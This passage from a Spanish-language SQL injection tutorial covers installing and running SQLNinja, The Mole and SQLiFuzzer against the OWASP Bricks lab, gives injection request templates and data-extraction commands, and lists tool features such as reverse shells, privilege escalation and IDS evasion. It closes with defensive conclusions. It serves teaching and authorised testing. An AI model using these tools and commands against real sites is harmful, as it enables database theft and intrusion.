password puede contener contraseñas y permite automatizar su recuperación a través de diccionario.
 Figura 40: Recuperación de hash de contraseñas con diccionario.

8.2. SQLNinja
SqlNinja es una herramienta que permite explotar vulnerabilidades inyección SQL en
aplicaciones web que usan Microsoft SQL Server como back-end. Incluye características como
• Fingerprinting.
• Extracción de datos.
• Integración con Metasploit20 para interfaz gráfica de acceso al servidor de BD.
• Envío de ejecutables a través de peticiones HTTP.
• Shellcode21 remoto o bindshell directo o inverso por puertos TCP/UDP o a través de
túnel DNS o ICMP.
• Romper contraseñas por fuerza bruta con diccionarios.
• Escalada de privilegios con:
◦ Grupo sysadmin si se rompe la contraseña.
◦ churrasco.exe22 para escalada de privilegios en Windows 2003 Server.
◦ Vulnerabilidad CVE-2010-0232 en sqlservr.exe.
• Técnicas de evasión para confundir algunos IDS/IPS/WAF.

8.2.1. Instalación

SqlNinja está escrito en Perl y puede ser instalado en distribuciones de GNU/Linux, Mac o
Windows. Además requiere de los módulos de NetPacket, Net-Pcap, Net-DNS, Net-RawIP, IO-
Socket-SSL y DBI para perl.
A continuación se describen los pasos de instalación en Debian 7 Wheezy.
1. Instalar perl y paquete NetPacket
$ sudo apt-get install perl libnetpacket-perl libnet-pcap-perl
2. Descargar la versión establa de SQLNinja
$ wget http://sourceforge.net/projects/sqlninja/files/sqlninja/sqlninja-0.2.6-r1.tgz/download
-O sqlninja-0.2.6-r1.tgz
$ tar zxvf sqlninja-0.2.6-r1.tgz
$ cd sqlninja-0.2.6-r1
20 Metasploit: http://www.metasploit.com
21 Shellcode: http://en.wikipedia.org/wiki/Shellcode
22 churrasco.exe, MS Windows 2k3 Token Kidnapping Local Exploit: http://www.exploit-db.com/exploits/6705
8.2.2. Configuración

Para poder realizar ataques es necesario configurar el fichero sqlninja.conf con datos del
objetivo contra el que realizar las pruebas de pentesting.
SQLNinja incluye un fichero de configuración de ejemplo en la que se debe configurar el sitio
web de la víctima entre los parámetros de httpprequest:
$ cp sqlninja.conf.example sqlninja.conf
$ vim sqlninja.conf

## GET ##
--httprequest_start--
GET http://www.target.sqlserver.com/products/page.asp?n=100';__SQL2INJECT__&other_param=blah HTTP/1.1
Host: www.target.sqlserver.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close
--httprequest_end--

## POST ##
--httprequest_start--
POST https://www.target.sqlserver.com/contactform.asp HTTP/1.0
Host: www.target.sqlserver.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx
Connection: close

name=12;__SQL2INJECT__&address1=blabla&email=blabla@gmail.com&enquiry
%20type=bla&message=blablablablablabla
--httprequest_end--

## Cookies ##
--httprequest_start--
GET http://www.target.sqlserver.com/page.asp?n=100 HTTP/1.0
Host: www.target.sqlserver.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Cookie: ASPSESSIONID=xxxxx'%3B__SQL2INJECT__
Connection: close
--httprequest_end--

Se debe incluir en la variable __SQL2INJECT__ con el parámetros que se desea explotar, bien en
la url en parámetro GET, en parámetro POST o en la Cookie de sesión.

8.2.3. Ejecución

Se puede ejecutar en modo pruebas para comprobar si el sitio es vulnerable con el siguiente
comando:
$ ./sqlninja -m test
 Figura 41: Ejecución SQLNinja en modo test.

Otras opciones posibles para el flag -m son:

• fingerprint
• bruteforce
• escalation
• dirshell/revshell/dnstunnel/icmptunnel
• getdata

8.3. The Mole

The Mole23 es una herramienta open source bajo licencia GPLv3 de línea de comandos y
desarrollada en Python 3. Soporta los gestores de bases de datos MySQL, SQL Server,
PostgreSQL y Oracle.
Incluye un potente shell con comandos propios de la herramientas para extraer información del
objetivo. Al proporcionar una URL vulnerable y una cadena válida es capaz de detectar la inyección
y explotarla de manera automática, ya sea mediante el uso de técnicas con la cláusula UNION o una
consulta basada en condicionales.
Además soporta inyección a través de parámetros en GET , POST o Cookies y ofuscación para
evasión de firmas en IDS/IPS.
Se puede descargar de la página oficial el código fuente, compilado para Windows o en paquete
.deb. Además está disponible en los repositorios de distribuciones de GNU/Linux basadas en
Debian.

8.3.1. Instalación y ejecución

Para la instalación en un sistema Debian se puede realizar desde el repositorio.

$ apt-get install themole

La instalación instalará los siguientes paquetes adicionales.

libmpdec2 libpython3.4-minimal libpython3.4-stdlib python3-chardet python3-lxml python3-pkg-resources
python3.4 python3.4-minimal

8.3.2. Extracción de datos

Para ejecutar The Mole contra una aplicación web se deben indicar la url completa con los
parámetros explotables y una cadena de usar en el ataque.
1. Ejecutar en terminal el siguiente comando:
$ themole -u 'http://localhost/bricks/content-1/index.php?id=0' -n 'admin'

NOTA: En Windows el ejecutable es mole.exe.

23 The Mole: http://themole.sourceforge.net
 Una vez ejecutado se inicia un shell propio de la aplicación desde donde se puede obtener
información de la base de datos, extraer los datos o realizar consultas más personalizadas.

Figura 42: The Mole incluye un shell con comandos para automatizar la inyección.

2. Obtener el nombre de los esquemas de base de datos.

Ejecutar schemas en el shell de The Mole.

Figura 43: Obtención de los esquemas

de BD con The Mole.

3. Información de la base de datos.

Ejecutar dbinfo en el shell.

Figura 44: Información de la base de

datos con The Mole.

4. Obtener el nombre de las tablas

Ejecutar tables {nombre esquema} en el shell.
 Figura 45: Obtención de
nombres de tablas con The
Mole

5. Obtener las columnas

Ejecutar columns {nombre esquema} {nombre tabla}

Figura 46: Obtener las

columnas de una tabla con
The Mole

6. Extracción de datos de una tabla

Ejecutar query {nombre esquema} {tabla} {columna1,[columna2,[...]]}

Figura 47: Extracción de datos de una

tabla con The Mole

7. Búsqueda de información adicional en el catálogo.

 Figura 48: Búsqueda de tablas en el
catálogo de datos.

8. La sentencia query soporta condicionales y límite de filas.

Figura 49: Sentencia query con condición y límite de filas.

8.4. Otras herramientas

8.4.1. Havij

Havij24 es una herramienta de pago disponible para Windows con interfaz de usuario y soporte
para Microsoft SQL Server y Mysql.
Además de las pruebas automatizadas de inyección SQL incluye almacenamiento de datos
formato cvs, uso de proxy, ofuscación del código y escaneo automático de parámetros entre otros.

24 Havij: http://www.itsecteam.com/products/havij-advanced-sql-injection
 Figura 50: Interfaz de Havij.

8.4.2. Pangolin

Pangolin25 es una herramienta con interfaz de usuario y soporte para bases de datos Access,
DB2, Informix, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, Sqlite3 y Sybase.
Algunas de sus características son soporte SSL, uso de proxy, personalización de cabeceras
HTTP (user-agent, cookies), análisis automático de palabras clave, gestión de puntos de inyección.
Pangolin es una herramienta de pago disponible para Windows. Se puede descargar la versión
de pruebas en la página oficial.

8.5. SQLiFuzzer
SQLifuzzer26 es una herramienta utilizada para identificar vulnerabilidades de inyección SQL
escrita en shell script. Permite realizar de forma automática inyección basada en errores, parcial y
totalmente ciega (basada en tiempo).

25 Pangilon SQL Injection Tool: http://nosec.org/en/productservice/pangolin

26 SQLiFuzzer: http://code.google.com/p/sqlifuzzer
 Incluye soporte para Microsoft SQL Server, MySQL y Oracle. Además soporta ofuscación ,
pruebas automatizadas con cláusulas UNION y Order By, condicionales para extraer información
del gestor de base de datos, pruebas basadas en tiempos de respuesta (inyección totalmente ciega) y
pruebas basadas en respuestas booleanas de inyección XPATH.
SQLiFuzzer se ejecuta en sistemas GNU/Linux. A continuación se muestran los pasos de
ejecución contra el entorno de pruebas de Bricks:
1. Descargar herramienta
$ wget http://code.google.com/p/sqlifuzzer/downloads/detail?name=sqlifuzzer-0.6.tgz&can=2&q= -O
sqlifuzzer-0.6.tgz
$ tar zxvf sqlifuzzer-0.6.tgz
$ cd sqlifuzzer-0.6

2. Ejecución
./sqlifuzzer-0.5.sh

Figura 51: Ayuda de SQLiFuzzer.

3. Pruebas contra localhost

$ ./sqlifuzzer-0.5.sh -T http://localhost/bricks/content-1/index.php?id=0 -q

9. Inyección SQL en bases de datos NoSQL

También es posible realizar inyección SQL en bases de datos NoSQL o Not only SQL. Al
requerir menos restricciones relacionales y comprobaciones de coherencia a menudo ofrecen
ventajas de rendimiento y escalado.
Sin embargo, son vulnerables a ataques de inyección, incluso si no están usando la sintaxis
SQL tradicional. Debido a que estos ataques de inyección NoSQL se pueden ejecutar dentro de un
lenguaje determinado, más que en el lenguaje declarativo SQL, los impactos son mayores que la
inyección de SQL tradicional.
9.1. Inyección SQL en MongoDB
La API de la base de datos MongoDB 27 recupera la información a través de llamadas binarias
de JSON28 llamadas Binary JSON o BJSON. Las expresiones de JSON y JavaScript decodificadas
por la API permiten realizar consulta alternativas en varios parámetros, así la llamada a la API más
utilizada que permite la entrada arbitraria JavaScript es el operador $where. Por ejemplo:
db.myCollection.find( { $where: "this.credits == this.debits" } );

Si un atacante pudiese manipular los datos enviados al operador $where, éste podría incluir código
JavaScript arbitrario para ser evaluado como parte de la consulta de MongoDB.

En la página de la fundación OWASP29, proyecto de código abierto para combatir las causas que
hacen el software inseguro, se puede obtener ejemplos de como se ven afectadas estas bases de
datos NoSQL ante la inyección de código Javascript.

10. Conclusiones
Existen diferentes técnicas de inyección SQL. El ataque más clásico es el basado en errores
utilizando la fuerza bruta a través de los resultados obtenidos en el mismo canal. Sin embargo, cabe
recordar que se pueden obtener resultados a través de otros canales.
Es importante realizar una implementación correcta de las aplicaciones que acceden a la base
de datos utilizando buenas prácticas de programación y evitando el uso de clases o métodos
obsoletos para el acceso a la base de datos. Además, los usuarios de acceso a la base de datos deben
tener limitado los privilegios así como el acceso al catálogo del SGBD.
Sistemas IDS/IPS como Snort o Suricata basados en firmas permiten detectar ataques de
inyección. Sin embargo, hay que tener en cuenta que un ataque puede ser ofuscado con diversas
técnicas. Además, un sistema mal configurado puede ser susceptible de que los ataques pasen
desapercibidos a través de canales cifrados o compresión de datos si la aplicación atacada lo
permite.
Por último, existen herramientas para la detección y extracción de inyección SQL que facilitan
todo el proceso de ataque o permiten realizar una auditoría sobre un sitio web o servidor de bases de
datos.

11. Referencias
• Aplicaciones para testing de Inyección SQL: http://blog.taddong.com/2011/10/hacking-
vulnerable-web-applications.html
• OWASP Bricks: http://sechow.com/bricks/index.html
• SQL Injection tutorial: http://zerofreak.blogspot.com.es/2012/03/tutorial-by-zer0freak-
difficulty-easy.html

27 MongoDB: http://www.mongodb.org
28 JSON: www.json.org
29 OWASP Testing NoSQL Inyection: https://www.owasp.org/index.php/Testing_for_NoSQL_injection
• Inyección SQL en PHP: http://dasunhegoda.com/php-security-fail-vulnerable/466/
• Ejemplos anti inyección de SQL para PHP: https://github.com/indieteq/PHP-MySQL-PDO-
Database-Class
• Conferencia de Inyección SQL en el Centro de novas tecnoloxías de Galicia por Artur L.
Pinto Monteiro :
http://www.nextvision.com/uploads/com_noticias/Exitoso_Seminario_de_NextVision_sobre
_SQL_Injection_en_el_Centro_de_Nuevas_Tecnologas_de_Galicia___1.pdf
• Mejores herramientas de SQLi: http://www.hackingarticles.in/best-of-hacking/best-sql-
injection-tools
• SQLMap: http://sqlmap.org
• Tutorial para SQLMap: http://www.binarytides.com/sqlmap-hacking-tutorial
• SQLNinja: http://sqlninja.sourceforge.net
• Tutorial SQLNinja: http://www.elithecomputerguy.com/2013/01/23/using-sql-ninja-in-
metasploit-for-basic-sql-injection-attacks
• The Mole: http://themole.sourceforge.net
• SQLifuzzer: http://code.google.com/p/sqlifuzzer
• NoSQL Inyection: https://www.owasp.org/index.php/Testing_for_NoSQL_injection